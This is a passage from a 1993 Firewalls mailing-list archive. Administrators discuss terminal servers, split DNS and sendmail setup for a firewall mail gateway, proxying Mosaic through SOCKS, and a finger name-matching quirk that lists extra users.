ch Exp $ X */ X X#define _PATH_FINGER "/usr/ucb/finger" SHAR_EOF chmod 0444 pathnames.h || echo "restore of pathnames.h fails" if [ $TOUCH = can ] then touch -am 0130132493 pathnames.h fi exit 0 From Firewalls-Owner Thu Sep 16 05:43:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA19920; Thu, 16 Sep 93 05:43:14 GMT Received: from sleet.fit.qut.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA19913; Wed, 15 Sep 93 22:43:06 PDT Received: from localhost (meilak@localhost) by sleet.fit.qut.edu.au (8.5/8.3) id BAA23608; Thu, 16 Sep 1993 01:45:33 -0400 From: Mr Brian Meilak Message-Id: <199309160545.BAA23608@sleet.fit.qut.edu.au> Subject: ANNEX terminal servers To: firewalls@GreatCircle.COM Date: Thu, 16 Sep 93 15:45:33 EST X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk hi all, I'm looking for any doc on the net about ANNEX terminal servers. As I understand it, they are good terminal servers. thanks bjm ============================================================================ Brian Meilak Senior Systems Programmer _--_|\ Information Technology Building / QUT Room 616 \_.--._/ Phone: +61 7 864-2757 v AARnet meilak@fitmail.fit.qut.edu.au Faculty of Information Technology ARPA: meilak@qut.edu.au Queensland University of Technology, Box 2434, Brisbane 4001, AUSTRALIA Phone: +61 7 864-2132 Fax: 864-1801 ============================================================================ From Firewalls-Owner Thu Sep 16 03:37:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20983; Thu, 16 Sep 93 10:25:52 GMT Received: from typhon.dra.hmg.gb by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20976; Thu, 16 Sep 93 03:25:38 PDT Received: by typhon.dra.hmg.gb (4.1/SMI-4.1) id AA13132; Thu, 16 Sep 93 11:34:28 GMT Date: Thu, 16 Sep 93 11:34:28 GMT From: lowton@typhon.dra.hmg.gb (Andy Lowton) Message-Id: <9309161134.AA13132@typhon.dra.hmg.gb> To: firewalls@GreatCircle.COM Subject: Security related patches Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi All Somebody recently posted a list of all the security related patches for SunOs. Like an idiot, I lost my copy. Could the person who mailed it please do so again. I have looked at the archives, but cannot find it. Thanks Andy From Firewalls-Owner Thu Sep 16 13:02:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21224; Thu, 16 Sep 93 13:02:12 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21212; Thu, 16 Sep 93 06:02:01 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA18900; Thu, 16 Sep 93 08:58:31 -0400 Received: by cobalt.house.gov (AA00774); Thu, 16 Sep 93 08:01:55 -0700 Date: Thu, 16 Sep 93 08:01:55 -0700 From: Dorian Deane Message-Id: <9309161501.AA00774@cobalt.house.gov> To: gast@CS.UCLA.EDU, jim@tadpole.com, smb@research.att.com Subject: Re: fingerd Cc: Firewalls-Digest@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > I think you're referring to this: > > namecmp(name1, name2) > register char *name1, *name2; > { > register c1, c2; > > for (;;) { > c1 = *name1++; > if (islower(c1)) > c1 = toupper(c1); > c2 = *name2++; > if (islower(c2)) > c2 = toupper(c2); > if (c1 != c2) > break; > if (c1 == 0) > return (1); I thought someone would have mentioned this by now. I _can't_ be the oldest Unix guy around--I've never even seen Unix on a PDP-11 back when all Unix guys wore sandals! I did wear sandals, though... Either in source code or in a man page somewhere (A Gould running UTX, I think), I remember reading that finger originally had a bunch of hard-coded logic for deciding which UC, Berkeley hall a user lived in and would then try to cleverly give more information about the user than was actually contained in the GECOS field. It looks like vendors have removed varying degrees of that code but didn't catch all of it. dorian From Firewalls-Owner Thu Sep 16 14:30:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21426; Thu, 16 Sep 93 14:30:47 GMT Received: from sci.sci.ccny.cuny.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21419; Thu, 16 Sep 93 07:30:20 PDT Received: by sci.sci.ccny.cuny.edu (5.61/031893-CCNY Science) id AA15783; Thu, 16 Sep 93 10:20:56 -0400 Received: by squid.tram.com (5.59/24-Oct-92) id AA12561; Thu, 16 Sep 93 09:59:03 EDT Date: Thu, 16 Sep 93 09:59:03 EDT From: Jeffrey L Bromberger Message-Id: <9309161359.AA12561@squid.tram.com> Reply-To: X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: firewalls@GreatCircle.COM Subject: DNS and mail gateway Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Well, the company has finally decided to take the step and get a real live INternet connection (as opposed to our UUNET connection). So, we are looking into moving our mail service away from UUCP. We're going to put up a firewall to protect our soft and chewey middle from the real world. We'd like to have the 'net at large send all mail for our domain to this machine, and let it resolve the stuff internally. So, how should I go about setting up the DNS? The world needs to see a wildcard MX record for everyone in the domain (and have it point to the gateway). But the machine should also have the correct data to pass it on to the internal network. We don't want our internal IP numbers advertised outside; routers will make sure that external packets make it to the inside just in case. How do the larger companies (AT&T,DEC,SUN,etc) handle this? Any info you could give would be greatly appreciated! Sendmail.cf files for both the gateway and representative internal host would put you on my "I owe you" list :-) j -- Jeffrey L. Bromberger ------- System Manager ------- Tramway Unix Systems jeffrey@squid.tram.com Anywhere!{ccnysci,limbic,icus}!tram!jeffrey From Firewalls-Owner Thu Sep 16 15:48:53 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21692; Thu, 16 Sep 93 15:48:53 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21681; Thu, 16 Sep 93 08:48:38 PDT Message-Id: <9309161548.AA21681@mycroft.GreatCircle.COM> To: Mr Brian Meilak Cc: firewalls@GreatCircle.COM Subject: Re: ANNEX terminal servers In-Reply-To: Your message of Thu, 16 Sep 93 15:45:33 EST Date: Thu, 16 Sep 93 08:48:37 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mr Brian Meilak writes: # I'm looking for any doc on the net about ANNEX terminal servers. # # As I understand it, they are good terminal servers. I assume you're asking our opinion of them in a Firewalls environment? I like the Livingston PortMaster better. I find it easy to configure and use, and very reliable. It has excellent packet filtering capabilities. It has hooks for user-supplied authentication (smart cards and such). These capabilities may not quite be released yet, but they're definitely out in beta, and anybody can grab the beta release off of netcom.com (directory pub/livingston). As an added bonus that's important to some sites, using a PortMaster to create virtual serial ports on a Sun works _better_ than any of the various SBus/VME-Bus/SCSI _hardware_ serial port expansions (INCLUDING the ones from Sun) that I've worked with. Much more reliable; requires no kernel modifications; works extremely well. The company is very friendly and responsive. They release code that's relatively bug free, and seem committed to constantly adding useful new features. Now, if only Livingston would come out with a box with 2 Ethernet ports on it, I'd probably start using that as my "router of choice" for the internal router on the "2 router plus bastion host" firewalls I build... -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Thu Sep 16 16:00:25 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21776; Thu, 16 Sep 93 16:00:25 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21763; Thu, 16 Sep 93 09:00:11 PDT Message-Id: <9309161600.AA21763@mycroft.GreatCircle.COM> To: lowton@typhon.dra.hmg.gb (Andy Lowton) Cc: firewalls@GreatCircle.COM Subject: Re: Security related patches In-Reply-To: Your message of Thu, 16 Sep 93 11:34:28 GMT Date: Thu, 16 Sep 93 09:00:10 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk lowton@typhon.dra.hmg.gb (Andy Lowton) writes: # Somebody recently posted a list of all the security related patches for # SunOs. Like an idiot, I lost my copy. Could the person who mailed it # please do so again. I have looked at the archives, but cannot find it. Such lists exist, but I don't think it's been posted to Firewalls. You probably saw it on some other list. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Thu Sep 16 16:27:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21897; Thu, 16 Sep 93 16:27:48 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21889; Thu, 16 Sep 93 09:27:32 PDT Message-Id: <9309161627.AA21889@mycroft.GreatCircle.COM> To: jeffrey@squid.tram.com Cc: firewalls@GreatCircle.COM Subject: Re: DNS and mail gateway In-Reply-To: Your message of Thu, 16 Sep 93 09:59:03 EDT Date: Thu, 16 Sep 93 09:27:30 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jeffrey L Bromberger writes: # Well, the company has finally decided to take the step and get a real live # INternet connection (as opposed to our UUNET connection). So, we are # looking into moving our mail service away from UUCP. # # We're going to put up a firewall to protect our soft and chewey middle # from the real world. We'd like to have the 'net at large send all mail # for our domain to this machine, and let it resolve the stuff internally. # # So, how should I go about setting up the DNS? The world needs to see # a wildcard MX record for everyone in the domain (and have it point to # the gateway). But the machine should also have the correct data to # pass it on to the internal network. We don't want our internal IP # numbers advertised outside; routers will make sure that external # packets make it to the inside just in case. The key realization you need to make is that the DNS clients on the firewall (controlled by the /etc/resolv.conf file) don't have to talk to the DNS server on the firewall (controlled by the /etc/named.boot file). The DNS server on the firewall can therefore lie about the scope of your net, and only show the handful of SOA, A, and CNAME records for the firewall itself, and the wildcard MX record for everything inside. You then set up the "real" DNS server for your domain (the one that has all the info about internal hosts) on some internal machine. You point all the DNS clients (both on internal machines and on the firewall) at this internal server. You configure the internal server to forward queries it can't resolve locally to the firewall server, so that lookups of stuff outside your domain will work (you do this with a "forwarders " line in the /etc/named.boot file). When you get this all set up, here's what happens with various types of queries: External machine asks about internal machine or firewall machine Answered by DNS server on firewall Firewall asks about internal machine Answered by DNS server on internal machine Firewall asks about external machine Asks DNS server on internal machine, which asks DNS server on Firewall, which asks world and relays answer back Internal machine asks about internal machine Answered by DNS server on internal machine Internal machine asks about external machine Asks DNS server on internal machine, which asks DNS server on Firewall, which asks world and relays answer back # How do the larger companies (AT&T,DEC,SUN,etc) handle this? Mostly in ways inappropriate for small sites, because of the resources required. # Any info you could give would be greatly appreciated! Sendmail.cf # files for both the gateway and representative internal host would put # you on my "I owe you" list :-) Ahh, now that would be giving away trade secrets... :-) -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Thu Sep 16 17:01:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22017; Thu, 16 Sep 93 17:01:35 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22010; Thu, 16 Sep 93 10:01:25 PDT Received: by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA12508; Thu, 16 Sep 93 12:04:04 CDT Date: Thu, 16 Sep 93 12:04:04 CDT From: jim@tadpole.com (Jim Thompson) Message-Id: <9309161704.AA12508@tadpole.Tadpole.COM> To: dorian@cobalt.house.gov, gast@CS.UCLA.EDU Subject: Re: fingerd Cc: Firewalls-Digest@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Either in source code or in a man page somewhere (A Gould running UTX, > I think), I remember reading that finger originally had a bunch of > hard-coded logic for deciding which UC, Berkeley hall a user lived in > and would then try to cleverly give more information about the user than > was actually contained in the GECOS field. It looks like vendors have > removed varying degrees of that code but didn't catch all of it. Yeah, I remember this, but I think the problem is in the code that interprets utmp/wtmp. Jim From Firewalls-Owner Thu Sep 16 17:04:18 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22045; Thu, 16 Sep 93 17:04:18 GMT Received: from muse.microunity.com (muse1.microunity.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22038; Thu, 16 Sep 93 10:04:10 PDT Received: from gaea.microunity.com by muse.microunity.com (4.1/ericm1.1) id AA28644; Thu, 16 Sep 93 10:06:40 PDT Received: from angst.microunity.com by gaea.microunity.com (4.1/muse1.3) id AA07848; Thu, 16 Sep 93 10:06:37 PDT Received: by angst.microunity.com (5.61/muse.mw-1) id AA00969; Thu, 16 Sep 93 10:06:21 -0700 From: ericm@angst.MicroUnity.com (Eric Murray) Message-Id: <9309161706.AA00969@angst.microunity.com> Subject: Re: DNS and mail gateway To: jeffrey@squid.tram.com Date: Thu, 16 Sep 93 10:06:18 MDT Cc: firewalls@GreatCircle.COM In-Reply-To: <9309161359.AA12561@squid.tram.com>; from "Jeffrey L Bromberger" at Sep 16, 93 9:59 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jeffrey L Bromberger wrote: > > Well, the company has finally decided to take the step and get a real live > INternet connection (as opposed to our UUNET connection). So, we are > looking into moving our mail service away from UUCP. > > We're going to put up a firewall to protect our soft and chewey middle > from the real world. We'd like to have the 'net at large send all mail > for our domain to this machine, and let it resolve the stuff internally. > > So, how should I go about setting up the DNS? The world needs to see > a wildcard MX record for everyone in the domain (and have it point to > the gateway). But the machine should also have the correct data to > pass it on to the internal network. We don't want our internal IP > numbers advertised outside; routers will make sure that external > packets make it to the inside just in case. I think you need to tell the firewall machine about the internal machine that knows how to deliver mail. You could possibly get by with hard-coding it's IP address into the gateway's sendmail.cf, if your sendmail supports IP addresses. > How do the larger companies (AT&T,DEC,SUN,etc) handle this? IBM (the site I used to work at that is) had a serial line as the only connection to the gateway host. So it used uucp to get mail & news through to the inside. That's a fairly secure way to do things if you don't need ftp/telnet etc. access. You can evan have ftp/telnet access if you add serial lines and set up user accounts and teach them to tip to the gateway machine... but that's probably impractical in a site with a large number of potential ftp users. > Any info you could give would be greatly appreciated! Sendmail.cf > files for both the gateway and representative internal host would put > you on my "I owe you" list :-) Here's the relavant bits from the sendmail.cf for my gateway host (SunOS 4.1.x): I defined a macro and a class 'G' for the internal machine that knows what to do with incoming mail (NOT the gateway machine) i.e. DG mailserver.mydomain.com Down in ruleset 0 (what SunOS's sendmail uses to actually deliver mail, your sendmail may be different) I added # Explicitly specified names in our domain -- that we've never heard of # changed to send to internal gateway ericm R$*<@$*.$=m>$* $#ether $@$G $:$1<@$2>$4 user@host.LOCAL Basically that says: "If the mail's to somemachine@mydomain.com send it to mailserver.mydomain.com via ether". -- ericm ericm@microunity.com From Firewalls-Owner Thu Sep 16 17:35:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22177; Thu, 16 Sep 93 17:35:43 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22166; Thu, 16 Sep 93 10:35:22 PDT Received: from cds1004 by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA07824; Thu, 16 Sep 1993 10:36:48 -0700 Received: from [158.140.32.237] by cds1004 (5.65+/1.5) id AA26348; Thu, 16 Sep 93 10:37:10 -0700 Date: Thu, 16 Sep 93 10:37:10 -0700 Message-Id: <9309161737.AA26348@cds1004> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: ANNEX terminal servers Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Mr Brian Meilak writes: > ># I'm looking for any doc on the net about ANNEX terminal servers. ># ># As I understand it, they are good terminal servers. > >I assume you're asking our opinion of them in a Firewalls environment? > >I like the Livingston PortMaster better. I find it easy to configure >and use, and very reliable. It has excellent packet filtering >capabilities. It has hooks for user-supplied authentication (smart >cards and such). These capabilities may not quite be released yet, >but they're definitely out in beta, and anybody can grab the beta >release off of netcom.com (directory pub/livingston). > >As an added bonus that's important to some sites, using a PortMaster >to create virtual serial ports on a Sun works _better_ than any of the >various SBus/VME-Bus/SCSI _hardware_ serial port expansions (INCLUDING >the ones from Sun) that I've worked with. Much more reliable; >requires no kernel modifications; works extremely well. > >The company is very friendly and responsive. They release code that's >relatively bug free, and seem committed to constantly adding useful >new features. > >Now, if only Livingston would come out with a box with 2 Ethernet >ports on it, I'd probably start using that as my "router of choice" >for the internal router on the "2 router plus bastion host" firewalls >I build... > We have a Livingston PortMaster IR-4 as our Internet Connection point. I wasn't aware that it had the features you describe (other than the packet filtering), though I will now look into this. We have had some reliability troubles. 1) It has a tendency to hang if there was a glitch on the 56k line. Power cycling was the only fix. We have been waiting on a firmware upgrade on this for some time. 2) When we enabled SNMP it crashed when we sent it an SNMP query. This turned out to be because of the huge static route table we had programmed in. We deleted some of of the spurious routes and things recovered. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Thu Sep 16 19:47:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22578; Thu, 16 Sep 93 19:47:00 GMT Received: from issi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22570; Thu, 16 Sep 93 12:46:40 PDT Received: from xyzzy.issi.com (xyzzy-bb.issi.com) by issi.com (4.1/3.1.012693-ISSI); id AA20774 for Firewalls-Digest@greatcircle.com; Thu, 16 Sep 93 14:47:55 CDT Received: from (india) by xyzzy.issi.com (4.1/server.1.1) id AA27143; Thu, 16 Sep 93 14:48:14 CDT Received: by (4.1/sub.1.6) id AA00427; Thu, 16 Sep 93 14:47:51 CDT Date: Thu, 16 Sep 93 14:47:51 CDT From: vasey@issi.com Message-Id: <9309161947.AA00427@> To: dorian@cobalt.house.gov Subject: Re: fingerd Cc: Firewalls-Digest@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I thought someone would have mentioned this by now. I _can't_ be the > oldest Unix guy around--I've never even seen Unix on a PDP-11 back when > all Unix guys wore sandals! I did wear sandals, though... (Unfortunately, I recall seeing this on an 11/60 running v.7 ... which seemed like a tremendous improvement over earlier versions.) > ... I remember reading that finger originally had a bunch of > hard-coded logic for deciding which UC, Berkeley hall a user lived in > and would then try to cleverly give more information about the user than > was actually contained in the GECOS field... Yup, that was finger (not fingerd) -- and it was actually worse than that. The field was "subdivided" with commas and it not only converted room number suffixes into building names (eg, 103E = Evans 103), but also parsed telephone numbers by number of digits to determine which system they belonged to and tried to substitute appropriate telephone prefixes. In retrospect, one of the better attempts at writing portable code. ;^) ++ Ron vasey@issi.com International Software Systems Peace! ++ 1+512+338-5724 9430 Research, Austin TX 78759 <>< From Firewalls-Owner Thu Sep 16 20:21:09 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22821; Thu, 16 Sep 93 20:21:09 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22814; Thu, 16 Sep 93 13:21:01 PDT Received: by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA14784; Thu, 16 Sep 93 15:23:42 CDT Date: Thu, 16 Sep 93 15:23:42 CDT From: jim@tadpole.com (Jim Thompson) Message-Id: <9309162023.AA14784@tadpole.Tadpole.COM> To: dorian@cobalt.house.gov, vasey@issi.com Subject: Re: fingerd Cc: Firewalls-Digest@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Yup, that was finger (not fingerd) -- and it was actually worse than that. Hmm, for all intents and purposes, fingerd is just finger, with a bit of glue, and support for finger forwarding. Jim From Firewalls-Owner Thu Sep 16 20:38:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23055; Thu, 16 Sep 93 20:38:05 GMT Received: from relay1.pipex.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23048; Thu, 16 Sep 93 13:37:58 PDT Received: from Q.icl.co.uk by relay1.pipex.net with SMTP (PP) id <22487-0@relay1.pipex.net>; Thu, 16 Sep 1993 21:40:17 +0100 Received: from eccles.dsbc.icl.co.uk by Q.icl.co.uk (4.1/icl-2.6-server) id AA11703; Wed, 15 Sep 93 14:48:33 BST Received: from cerberus.dsbc.icl.co.uk on eccles.dsbc.icl.co.uk id AA09140; Wed, 15 Sep 93 14:46:48 BST Received: by cerberus.dsbc.icl.co.uk (4.1/rpa-1.3) id AA26745; Wed, 15 Sep 93 14:47:38 BST From: mbm@dsbc.icl.co.uk (Malcolm Mladenovic) Message-Id: <9309151347.AA26745@cerberus.dsbc.icl.co.uk> Subject: Re: fingerd... To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 93 14:47:38 BST Reply-To: mbm@dsbc.icl.co.uk Organization: UNIX Centre, ICL Computers Ltd., Bracknell, UK. X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Some experimentation indicates that the users listed are those whose gecos entries in /etc/passwd either begin or end with a space or have two consecutive spaces within them (or ", "). finger on the local machine is enough to provoke it - fingerd is an innocent bystander :-) This appears to be caused by code in finger.c: matchname() and namecmp(). It looks like this code is intended to skip phone or room numbers when looking for matches, but I haven't looked all that closely. I guess this bug has been around for a long time but I don't have anything older than BSD net-2 and SVR4 immediately available on-line to check. -Malcolm From Firewalls-Owner Thu Sep 16 21:04:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23181; Thu, 16 Sep 93 21:04:27 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA23173; Thu, 16 Sep 93 14:04:19 PDT Received: by azalea.tis.com; id AA04101; Thu, 16 Sep 93 17:05:42 EDT Received: from tis.com/192.33.112.100 via smap Received: from TIS.COM by TIS.COM (4.1/SUN-5.64) id AA29147; Thu, 16 Sep 93 17:06:25 EDT Message-Id: <9309162106.AA29147@TIS.COM> From: Frederick M Avolio X-Organization: Trusted Information Systems, Inc. X-Phone: +1 301 854 6889, +1 410 442 1673, FAX: +1 301 854 5363 To: firewalls@GreatCircle.COM Subject: Re: fingerd... In-Reply-To: Your message of Wed, 15 Sep 93 14:47:38 +0100. <9309151347.AA26745@cerberus.dsbc.icl.co.uk> Date: Thu, 16 Sep 93 17:06:24 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm thinking that it has to do with people's birthdays. But how does finger *know*?!? Fred (such a kidder) Avolio From Firewalls-Owner Fri Sep 17 09:07:09 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25976; Fri, 17 Sep 93 15:42:26 GMT Received: from gatekeeper.es.dupont.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25969; Fri, 17 Sep 93 08:42:16 PDT Received: by gatekeeper.es.dupont.com (5.65/ULTRIX-mjr-062991); id AA08906; Fri, 17 Sep 93 11:45:04 -0400 Received: from fallst.es.dupont.com by eplrx7.es.duPont.com (4.1/kdm-082991-main) id AA05172; Fri, 17 Sep 93 11:36:19 EDT Received: by fallst.es.dupont.com (Smail3.1.28.1 #3) id m0odhyK-0000ZAC; Fri, 17 Sep 93 11:43 EDT Message-Id: From: tkevans@fallst.es.dupont.com (Tim Evans) Subject: Mosaic To: firewalls@GreatCircle.COM Date: Fri, 17 Sep 1993 11:43:43 -0400 (EDT) X-Mailer: ELM [version 2.4 PL23beta2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 246 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Does anyone know if/how mosaic might [can be made to] work in a firewalled environment? Thanks. -- INTERNET: tkevans@fallst.es.dupont.com UUCP: {rutgers|ames|uunet}!mimsy!wb3ffv!fallst!tkevans Tim Evans 2201 Brookhaven Ct, Fallston, MD 21047 From Firewalls-Owner Fri Sep 17 17:16:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26237; Fri, 17 Sep 93 17:16:42 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26230; Fri, 17 Sep 93 10:16:34 PDT Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA07809(telemann.inoc.dl.nec.com); Fri, 17 Sep 93 12:19:14 CDT Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA01072(texas.syl.dl.nec.com); Fri, 17 Sep 93 12:19:09 CDT Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA15737(florida.syl.dl.nec.com); Fri, 17 Sep 93 12:19:07 CDT Date: Fri, 17 Sep 93 12:19:07 CDT From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9309171719.AA15737@florida.syl.dl.nec.com> To: firewalls@GreatCircle.COM, tkevans@fallst.es.dupont.com Subject: Re: Mosaic Cc: ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Does anyone know if/how mosaic might [can be made to] work in a >firewalled environment? Thanks. The CSTC version 4.0 of SOCKS comes with a modified xmosaic that works with the SOCKS proxy server. You can ftp the package from host ftp.inoc.dl.nec.com, file pub/security/socks.cstc.4.0.tar.gz. Get the file pub/gnu/gzip-1.2.4.tar.Z also if you don't already have Gnu's compression/uncompression programs. You may also want the file pub/security/pidentd-2.1.2.tar.gz for user verification. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com From Firewalls-Owner Fri Sep 17 10:37:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26307; Fri, 17 Sep 93 17:30:35 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26293; Fri, 17 Sep 93 10:30:21 PDT Received: by terminus.cs.umb.edu id AA20547 (5.65c/IDA-1.4.4 for Firewalls@greatcircle.com); Fri, 17 Sep 1993 13:32:50 -0400 Date: Fri, 17 Sep 1993 13:32:50 -0400 From: "John B. Brown" Message-Id: <199309171732.AA20547@terminus.cs.umb.edu> To: gast@CS.UCLA.EDU, jim@tadpole.com, smb@research.att.com Subject: Re: fingerd Cc: Firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dear Jim, You write, on id AA06562; Wed, 15 Sep 93 19:21:31 CDT > I think you're referring to this: > namecmp(name1, name2) > ... > Other than the crap code (lint says, "assignment causes implicit narrowing conversion") > name1 is the current substring out of the GECOS field. name2 is what was > to the left of the '@' sign, or the arguement if executed directly on the > target machine. (e.g. finger jim) > c1 and c2 end up with the upper-case ASCII value of the first character > of name1 and name2, if they don't match, then the code jumps to the "if (!c1)" line. > The 'isdigit()' stuff *skips* numbers. The question I have is: How does it access the /etc/passwd file, and how does it use the result of the above to output the contents of some number of lines. Shalom, JBB. From Firewalls-Owner Fri Sep 17 17:49:18 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26338; Fri, 17 Sep 93 17:49:18 GMT Received: from quatloo.scn.rain.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26331; Fri, 17 Sep 93 10:49:02 PDT Received: by quatloo.scn.rain.com (/\==/\ Smail3.1.28.1 #28.5) id ; Fri, 17 Sep 93 10:51 PDT Date: Fri, 17 Sep 93 10:51 PDT From: neighorn@quatloo.scn.rain.com (Steven C. Neighorn) Message-Id: <9309171051.ZM9086@quatloo.scn.rain.com> X-Mailer: Z-Mail (2.1.4 02apr93) To: firewalls@GreatCircle.COM Subject: archie behind a firewall? X-Face: -JmgJVqr;*Jy3;Dc5i08i&)O17S_P)ytle'pH|zmdR::(+S+5dW^|F^TXz]jCK|N:y& qgpDv<%;{Wce2B1;?eA=)IR-sARCtM*w!#*Z,\^9t2"\]2}KhwFo;]#HcsXouNQo{Zn 6e1^Z*TcB6<#B%$I(Xa+Rz$K^OJrb*&yQ\$r7ayS@Q6y|-TTByg;4T:8#o~OTau!XL9 !,Ip%sz%rA+w\BDul"N[Oly cisco + sun (their own net, sun has 2 ethers) | internal net DNS is set up such that the internal net can do hostname lookups to the outside, and the firewall net can look up internal host names via a host file. The internal net is not reachable from the outside via filtering and non-advertised nets. Thanks in advance... -- Steven C. Neighorn neighorn@qiclab.scn.rain.com/neighorn@cse.ogi.edu SCN Research "Where we train the Star Fighters who defend the 10635 S.W. 127th Court frontier against Xur and the Ko-dan Armada" Tigard, Oregon 97223-1964 home: (503) 524-7348 From Firewalls-Owner Fri Sep 17 11:07:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26306; Fri, 17 Sep 93 17:30:35 GMT Received: from sgi.sgi.com (SGI.COM) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26292; Fri, 17 Sep 93 10:30:21 PDT Received: from 